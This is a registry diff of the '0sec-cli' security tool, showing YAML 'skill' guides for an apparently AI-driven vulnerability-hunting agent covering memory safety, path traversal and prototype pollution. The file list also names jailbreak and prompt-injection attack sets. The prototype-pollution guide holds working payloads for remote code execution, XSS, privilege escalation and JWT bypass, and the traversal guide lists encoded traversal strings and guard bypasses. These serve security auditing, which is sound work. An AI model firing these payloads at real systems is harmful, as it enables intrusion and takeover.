0sec-cli 0.15.0 → 0.17.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +322 -0
- package/README.md +63 -52
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-ECQG7454.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-GJEZMOHF.js +34 -0
- package/chunks/assumption-mining-BVMMUZHB.js +79 -0
- package/chunks/chunk-2CJ776PV.js +2430 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-2SANI5RH.js +4728 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-3QFDYBZQ.js +5108 -0
- package/chunks/chunk-47TQJWDH.js +3729 -0
- package/chunks/chunk-4Y4KQJXE.js +600 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-A6CLR72I.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-CLHCDHP4.js +471 -0
- package/chunks/chunk-D6S3IIPG.js +518 -0
- package/chunks/chunk-DN25OQQA.js +1070 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-H44E2CRN.js +193 -0
- package/chunks/chunk-HDWV7PGI.js +596 -0
- package/chunks/chunk-HE7LCA7G.js +381 -0
- package/chunks/chunk-HT6P7RY3.js +2597 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IORC6MQX.js +72828 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-K26SZ37E.js +5735 -0
- package/chunks/chunk-KKGE5RQE.js +1094 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-KTQDLNSR.js +1732 -0
- package/chunks/chunk-LOHTE223.js +2572 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MMLDQR4H.js +852 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-O462Y7P2.js +33019 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-QJQKHO7G.js +917 -0
- package/chunks/chunk-QKICO43A.js +808 -0
- package/chunks/chunk-QOKTUOU2.js +102 -0
- package/chunks/chunk-RDZYQQLW.js +596 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SNKTC4BP.js +1422 -0
- package/chunks/chunk-SOG2U7B3.js +662 -0
- package/chunks/chunk-SZJCPG2I.js +110 -0
- package/chunks/chunk-UJ4IK5PO.js +2010 -0
- package/chunks/chunk-UM3ZNQIM.js +9329 -0
- package/chunks/chunk-VGRDNSHA.js +3249 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WKNNZVJS.js +2798 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/commands-U3AMV5ZU.js +16795 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-ZCKMBJEN.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-26NGQFKO.js +16 -0
- package/chunks/disclose-A6AEIEDA.js +132 -0
- package/chunks/dist-FDKALV4R.js +2772 -0
- package/chunks/dist-GL66KMUX.js +74 -0
- package/chunks/dist-JR67XKYO.js +159 -0
- package/chunks/eval-runner-DDLE5RQ3.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-XP23ISN7.js +98 -0
- package/chunks/exploit-autoclimb-E6T7RRSC.js +81 -0
- package/chunks/exploit-climb-2FAUP6XU.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-HWOYFKFY.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-XPELSPQQ.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-TENE3R7T.js +44 -0
- package/chunks/kernel-vm-runner-4F6QSNFY.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-NTONUDP7.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-ZUWAUWBC.js +62 -0
- package/chunks/pipeline-FCARFZU3.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-3Q7QJIOZ.js +13 -0
- package/chunks/replay-runner-RRR4E2A7.js +39 -0
- package/chunks/run-ESNN4V5W.js +32632 -0
- package/chunks/runtime-62ZQAH7H.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-BCFQYDCE.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-6KM6F6MD.js +13 -0
- package/chunks/web-recon-prepass-DPVCBRZA.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
id: native-memory-safety
|
|
2
|
+
name: "Native (C/C++) Memory Safety"
|
|
3
|
+
description: "Untrusted-length parsing, OOB read/write, integer overflow, and use-after-free in C/C++ and kernel code — the class behind our accepted kernel 0-days (UAF, stack-overflow) and bluez/bitlbee overflows. Targets the highest-value attack surface: parsers of attacker-controlled binary input."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- memory-safety
|
|
10
|
+
- buffer-overflow
|
|
11
|
+
- out-of-bounds
|
|
12
|
+
- use-after-free
|
|
13
|
+
- integer-overflow
|
|
14
|
+
- c
|
|
15
|
+
- cpp
|
|
16
|
+
- kernel
|
|
17
|
+
- parser
|
|
18
|
+
triggers:
|
|
19
|
+
- "buffer.?overflow|out.?of.?bounds|oob|use.?after.?free|uaf"
|
|
20
|
+
- "memcpy|memmove|strcpy|strcat|sprintf|alloca"
|
|
21
|
+
- "malloc|kmalloc|kzalloc|calloc|realloc|free\\(|kfree"
|
|
22
|
+
- "len|length|size|count|nmemb"
|
|
23
|
+
- "\\[.*\\]\\s*=|->\\w+\\[|stack.?buf|on.?stack"
|
|
24
|
+
- "recv|read\\(|parse|decode|deserialize|unmarshal"
|
|
25
|
+
- "socks|tlv|packet|header|record|frame|chunk"
|
|
26
|
+
- "skb|sk_buff|refcount|kref|put_device|netns"
|
|
27
|
+
- "\\.c\\b|\\.cc\\b|\\.cpp\\b|\\.h\\b"
|
|
28
|
+
estimated_tokens: 1000
|
|
29
|
+
content: |
|
|
30
|
+
## Native (C/C++ / Kernel) Memory-Safety Methodology
|
|
31
|
+
|
|
32
|
+
This class produced our highest-value, externally-ACCEPTED findings (Linux
|
|
33
|
+
kernel UAF + stack-overflow 0-days, bluez/bitlbee overflows). The target is
|
|
34
|
+
always the same: **code that parses attacker-controlled binary input using a
|
|
35
|
+
length/count it doesn't fully trust-check.**
|
|
36
|
+
|
|
37
|
+
### Phase 1: Find the untrusted-input parsers (highest-value surface)
|
|
38
|
+
Prioritize functions that read network/file/IPC data and walk it by a
|
|
39
|
+
length field:
|
|
40
|
+
- Protocol response/record parsers (SOCKS bound-address, TLV, ASN.1, packet
|
|
41
|
+
headers, snoop/pcap records, font/image chunk tables).
|
|
42
|
+
- `recv`/`read` loops that compute a `resp_len`/`record_len` from the FIRST
|
|
43
|
+
bytes and then read/copy that many more.
|
|
44
|
+
- Kernel: netlink/socket parsers, codec/driver ioctls, `skb` handling.
|
|
45
|
+
|
|
46
|
+
### Phase 2: The bug patterns (what to actually check)
|
|
47
|
+
- **Trusting a length field**: `len = buf[4]; memcpy(dst, src, len)` where
|
|
48
|
+
`len` is attacker-controlled and `dst` is fixed-size → overflow. (bluez
|
|
49
|
+
btsnoop: *"trusts record length fields → stack buffer overflow."*)
|
|
50
|
+
- **Off-by-one / missing bound**: index `<=` instead of `<`, NUL terminator
|
|
51
|
+
not counted, `+1`/`-1` errors near a boundary.
|
|
52
|
+
- **Integer overflow → undersized alloc**: `malloc(count * size)` or
|
|
53
|
+
`len + hdr` wraps on a 32-bit/`size_t` boundary → small alloc, big write.
|
|
54
|
+
Check every arithmetic on an attacker-influenced length BEFORE the alloc.
|
|
55
|
+
- **Append/concat without remaining-space check**: `twitter_url_append()`
|
|
56
|
+
style — appends untrusted data into a buffer without checking space left
|
|
57
|
+
(bitlbee: heap buffer overflow via this).
|
|
58
|
+
- **Use-after-free** (kernel gold): an object freed on one path (error/
|
|
59
|
+
teardown/refcount-drop) then dereferenced on another — race in
|
|
60
|
+
init/cleanup, double `put`, freed `skb`/`dst` reused, `netns` teardown vs
|
|
61
|
+
in-flight work. Map the alloc → free → use triangle across call paths.
|
|
62
|
+
|
|
63
|
+
### Phase 3: Validate the bound is actually missing
|
|
64
|
+
For a length-driven copy, find: where does the length come from, what bounds
|
|
65
|
+
it (a `min()`, a `if(len > sizeof buf) fail`, a growable buffer), and does the
|
|
66
|
+
check happen on the SAME value that's later used? Modern code often uses a
|
|
67
|
+
growable buffer (`Curl_bufq`, dynbuf) + re-checks `have >= need` — that is
|
|
68
|
+
SAFE even though it looks scary. Read the WHOLE function (if the file tool
|
|
69
|
+
truncates a large file, page through it — do not conclude from the first
|
|
70
|
+
screen).
|
|
71
|
+
|
|
72
|
+
### Phase 4: Confirm before save_finding
|
|
73
|
+
- Show the source (untrusted length/data) → the unchecked copy/free/use, with
|
|
74
|
+
file:line, and why the surrounding checks don't cover the value.
|
|
75
|
+
- For UAF: the alloc site, the free site, the use site, and the path/race that
|
|
76
|
+
orders free-before-use.
|
|
77
|
+
- PoC: a crafted input (and, for kernel, a syzlang/C repro under the verify
|
|
78
|
+
sandbox) that triggers an ASAN/KASAN splat. A decoded sanitizer report is
|
|
79
|
+
the gold standard.
|
|
80
|
+
|
|
81
|
+
### Anti-false-positive checklist
|
|
82
|
+
- Is the destination fixed-size, or a growable/exact-sized alloc?
|
|
83
|
+
- Is the length re-checked against remaining space on the value actually used?
|
|
84
|
+
- Is the "freed" object really reachable after free on a real path?
|
|
85
|
+
Bounded copy into a sized buffer with a correct check = NOT a finding. Curl's
|
|
86
|
+
`socks5_recv_resp1` is the textbook *safe* example (resp_len ≤ 262, growable
|
|
87
|
+
bufq, re-checked) — recognizing safe code is as important as finding bugs.
|
|
88
|
+
|
|
89
|
+
### Real wins from this engine
|
|
90
|
+
- Linux kernel: ACCEPTED UAF and stack-overflow 0-days (the highest-value
|
|
91
|
+
output the engine has produced).
|
|
92
|
+
- bluez btsnoop: stack buffer overflow from trusting record length fields.
|
|
93
|
+
- bitlbee `twitter_url_append()`: heap buffer overflow via untrusted input.
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
id: path-traversal
|
|
2
|
+
name: "Path Traversal & Arbitrary File Write"
|
|
3
|
+
description: "Untrusted path components escaping a base directory — on read (file disclosure) and especially on WRITE (zip-slip, archive extraction, download-to-path → RCE). Verified in cloudflare/wrangler and trustwallet WASM keystore."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- path-traversal
|
|
10
|
+
- directory-traversal
|
|
11
|
+
- zip-slip
|
|
12
|
+
- arbitrary-file-write
|
|
13
|
+
- lfi
|
|
14
|
+
- archive-extraction
|
|
15
|
+
triggers:
|
|
16
|
+
- "path.?travers|directory.?travers|zip.?slip"
|
|
17
|
+
- "\\.\\./|%2e%2e|\\.\\.\\\\"
|
|
18
|
+
- "path\\.join|path\\.resolve|os\\.path\\.join"
|
|
19
|
+
- "extract|unzip|untar|decompress|adm-zip|tar\\b"
|
|
20
|
+
- "writeFile|writeFileSync|createWriteStream|fs\\.write|open\\(.*['\"]w"
|
|
21
|
+
- "readFile|sendFile|res\\.download|createReadStream"
|
|
22
|
+
- "basename|normalize|sanitize.?path"
|
|
23
|
+
- "entry\\.name|filename|fileName|member"
|
|
24
|
+
- "__from-dash|init|template|scaffold"
|
|
25
|
+
estimated_tokens: 850
|
|
26
|
+
content: |
|
|
27
|
+
## Path Traversal & Arbitrary File Write Methodology
|
|
28
|
+
|
|
29
|
+
Two flavors, very different impact:
|
|
30
|
+
- **Read traversal** → file disclosure (config, keys, `/etc/passwd`). Medium-ish.
|
|
31
|
+
- **Write traversal** → arbitrary file write → **RCE** (overwrite a startup
|
|
32
|
+
script, `.bashrc`, a `.js`/`.py` that gets required, an authorized_keys, a
|
|
33
|
+
cron). High/critical. *Prioritize write sinks.*
|
|
34
|
+
|
|
35
|
+
### Phase 1: Find the path sinks
|
|
36
|
+
- **Read**: `sendFile`, `res.download`, `fs.readFile`/`createReadStream`,
|
|
37
|
+
template loaders, static file handlers keyed on a request param.
|
|
38
|
+
- **Write**: `fs.writeFile`/`createWriteStream`, `fs.mkdir`, archive extraction
|
|
39
|
+
(`adm-zip`, `tar`, `unzip`, `decompress`), download-to-path, scaffolders
|
|
40
|
+
(`init`/`template`/`--from-dash`), log/cache writers keyed on input.
|
|
41
|
+
|
|
42
|
+
### Phase 2: The traversal vectors
|
|
43
|
+
- Classic `../../../etc/passwd`; encoded `%2e%2e%2f`, double-encoded `%252e`,
|
|
44
|
+
UTF-8 overlong; Windows `..\\` and mixed `..%5c`.
|
|
45
|
+
- **Absolute-path injection** — input is `/etc/cron.d/x` (no `../` needed) and
|
|
46
|
+
the sink does `path.join(base, input)` where an absolute `input` *replaces*
|
|
47
|
+
base (Node `path.join('/safe','/etc/x')` → `/safe/etc/x`, but
|
|
48
|
+
`path.resolve` with an absolute escapes entirely — know the difference).
|
|
49
|
+
- **Zip-slip** — an archive member named `../../x` written during extraction
|
|
50
|
+
without re-checking the resolved path stays under the target dir.
|
|
51
|
+
- **Symlink in archive** — a member that's a symlink to `/`, then a follow-up
|
|
52
|
+
member writes "through" it.
|
|
53
|
+
|
|
54
|
+
### Phase 3: Defeat the guard
|
|
55
|
+
Common broken guards: `replace('../','')` (non-recursive → `....//`), checking
|
|
56
|
+
the raw input not the *resolved* path, `basename()` only on the last component,
|
|
57
|
+
decode-after-check. The correct guard is: resolve to an absolute path THEN
|
|
58
|
+
assert it `startsWith(baseDir + sep)`. If that's missing or done before
|
|
59
|
+
decoding, it's bypassable.
|
|
60
|
+
|
|
61
|
+
### Phase 4: Confirm before save_finding
|
|
62
|
+
- Show the untrusted path component → sink (file:line), and that the resolved
|
|
63
|
+
path escapes the base. For write, name the file you'd overwrite and the RCE/
|
|
64
|
+
impact it yields.
|
|
65
|
+
- PoC: the exact traversal string + (sandbox) a write landing outside the base
|
|
66
|
+
dir, or a read returning out-of-tree content.
|
|
67
|
+
|
|
68
|
+
### Anti-false-positive checklist
|
|
69
|
+
- Does the code resolve-then-check `startsWith(base)`? Is `entry.name`
|
|
70
|
+
re-validated against the resolved target during extraction?
|
|
71
|
+
- Is the path actually request-controlled vs a fixed server path?
|
|
72
|
+
Correct resolve+prefix check = NOT traversable. Don't save it.
|
|
73
|
+
|
|
74
|
+
### Real wins from this engine
|
|
75
|
+
- cloudflare/wrangler `init --from-dash`: path traversal via a crafted
|
|
76
|
+
worker/script name → file write outside the project dir.
|
|
77
|
+
- trustwallet WASM KeyStore FileSystemStorage: path traversal in the storage
|
|
78
|
+
key.
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
id: prototype-pollution
|
|
2
|
+
name: "JavaScript Prototype Pollution"
|
|
3
|
+
description: "Prototype pollution via __proto__, constructor.prototype, and Object.assign — with gadget chains for RCE, XSS, privilege escalation, and auth bypass."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- prototype-pollution
|
|
10
|
+
- javascript
|
|
11
|
+
- nodejs
|
|
12
|
+
- rce
|
|
13
|
+
- xss
|
|
14
|
+
- auth-bypass
|
|
15
|
+
- gadget-chain
|
|
16
|
+
triggers:
|
|
17
|
+
- "__proto__"
|
|
18
|
+
- "constructor\\.prototype"
|
|
19
|
+
- "Object\\.assign"
|
|
20
|
+
- "merge\\("
|
|
21
|
+
- "deepmerge"
|
|
22
|
+
- "lodash"
|
|
23
|
+
- "\\.extend\\("
|
|
24
|
+
- "prototype.*pollut"
|
|
25
|
+
- "node_modules"
|
|
26
|
+
- "express"
|
|
27
|
+
- "application/json"
|
|
28
|
+
estimated_tokens: 900
|
|
29
|
+
content: |
|
|
30
|
+
## JavaScript Prototype Pollution Methodology
|
|
31
|
+
|
|
32
|
+
### Phase 1: Identify Merge/Assign Sinks
|
|
33
|
+
Look for endpoints that accept JSON and merge it into objects:
|
|
34
|
+
- `Object.assign(target, userInput)`
|
|
35
|
+
- `_.merge(target, userInput)` / `_.defaultsDeep(target, userInput)` (lodash)
|
|
36
|
+
- `$.extend(true, target, userInput)` (jQuery)
|
|
37
|
+
- Custom recursive merge functions: `deepMerge`, `deepExtend`, `defaults`
|
|
38
|
+
- Any endpoint accepting nested JSON that gets merged into config/options
|
|
39
|
+
|
|
40
|
+
### Phase 2: Detection Payloads
|
|
41
|
+
Send via JSON body to merge-capable endpoints:
|
|
42
|
+
|
|
43
|
+
**Via `__proto__`:**
|
|
44
|
+
```json
|
|
45
|
+
{"__proto__": {"polluted": "yes"}}
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Via `constructor.prototype`:**
|
|
49
|
+
```json
|
|
50
|
+
{"constructor": {"prototype": {"polluted": "yes"}}}
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Verification**: access a new empty object's `.polluted` property — if it returns `"yes"`, pollution succeeded. In a web context, check if subsequent API responses include unexpected `polluted` fields.
|
|
54
|
+
|
|
55
|
+
### Phase 3: Server-Side RCE Gadgets (Node.js)
|
|
56
|
+
|
|
57
|
+
**child_process.spawn/exec via shell option:**
|
|
58
|
+
```json
|
|
59
|
+
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
**child_process.fork via NODE_OPTIONS:**
|
|
63
|
+
```json
|
|
64
|
+
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
**EJS template RCE (Express + EJS):**
|
|
68
|
+
```json
|
|
69
|
+
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
|
|
70
|
+
```
|
|
71
|
+
Then trigger any template render — the injected function name executes as code.
|
|
72
|
+
|
|
73
|
+
**Pug template RCE:**
|
|
74
|
+
```json
|
|
75
|
+
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
**Handlebars RCE:**
|
|
79
|
+
```json
|
|
80
|
+
{"__proto__": {"main": "\n return process.mainModule.require('child_process').execSync('id').toString()\n"}}
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### Phase 4: Client-Side XSS Gadgets
|
|
84
|
+
|
|
85
|
+
**innerHTML/outerHTML pollution:**
|
|
86
|
+
```json
|
|
87
|
+
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
**jQuery $.html() gadget:**
|
|
91
|
+
```json
|
|
92
|
+
{"__proto__": {"div": ["<img src=x onerror=alert(1)>"]}}
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
**DOM clobbering via prototype:**
|
|
96
|
+
```json
|
|
97
|
+
{"__proto__": {"src": "javascript:alert(1)", "href": "javascript:alert(1)"}}
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### Phase 5: Auth Bypass and Privilege Escalation
|
|
101
|
+
|
|
102
|
+
**isAdmin / role pollution:**
|
|
103
|
+
```json
|
|
104
|
+
{"__proto__": {"isAdmin": true}}
|
|
105
|
+
{"__proto__": {"role": "admin"}}
|
|
106
|
+
{"__proto__": {"admin": true}}
|
|
107
|
+
{"__proto__": {"verified": true}}
|
|
108
|
+
```
|
|
109
|
+
If the app checks `user.isAdmin` and that property is not explicitly set on the user object, it inherits from the polluted prototype.
|
|
110
|
+
|
|
111
|
+
**JWT verification bypass:**
|
|
112
|
+
```json
|
|
113
|
+
{"__proto__": {"algorithms": ["none"]}}
|
|
114
|
+
```
|
|
115
|
+
Pollutes the jsonwebtoken verify options — accepts `alg: none` tokens.
|
|
116
|
+
|
|
117
|
+
### Phase 6: Detection in Source Code Review
|
|
118
|
+
Grep for dangerous patterns:
|
|
119
|
+
```
|
|
120
|
+
grep -rn "Object.assign\|\.merge(\|deepmerge\|defaultsDeep\|\.extend(" --include="*.js" --include="*.ts"
|
|
121
|
+
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts"
|
|
122
|
+
```
|
|
123
|
+
Check if any of these functions receive user-controlled input (req.body, req.query, parsed JSON).
|
|
124
|
+
|
|
125
|
+
### Phase 7: Recursive Exploitation Strategy
|
|
126
|
+
1. Find a JSON merge endpoint (POST/PUT/PATCH with JSON body)
|
|
127
|
+
2. Test with `{"__proto__": {"testprop": "1"}}` and check if other endpoints reflect `testprop`
|
|
128
|
+
3. If confirmed, escalate via the most impactful gadget:
|
|
129
|
+
- EJS/Pug/Handlebars → RCE (check which template engine is in package.json)
|
|
130
|
+
- Auth check on prototype property → privilege escalation
|
|
131
|
+
- DOM rendering with user data → XSS
|
|
132
|
+
4. For proof, prefer `id` / `whoami` output via RCE gadgets, or admin panel access via auth bypass
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
id: request-smuggling
|
|
2
|
+
name: "HTTP Request Smuggling"
|
|
3
|
+
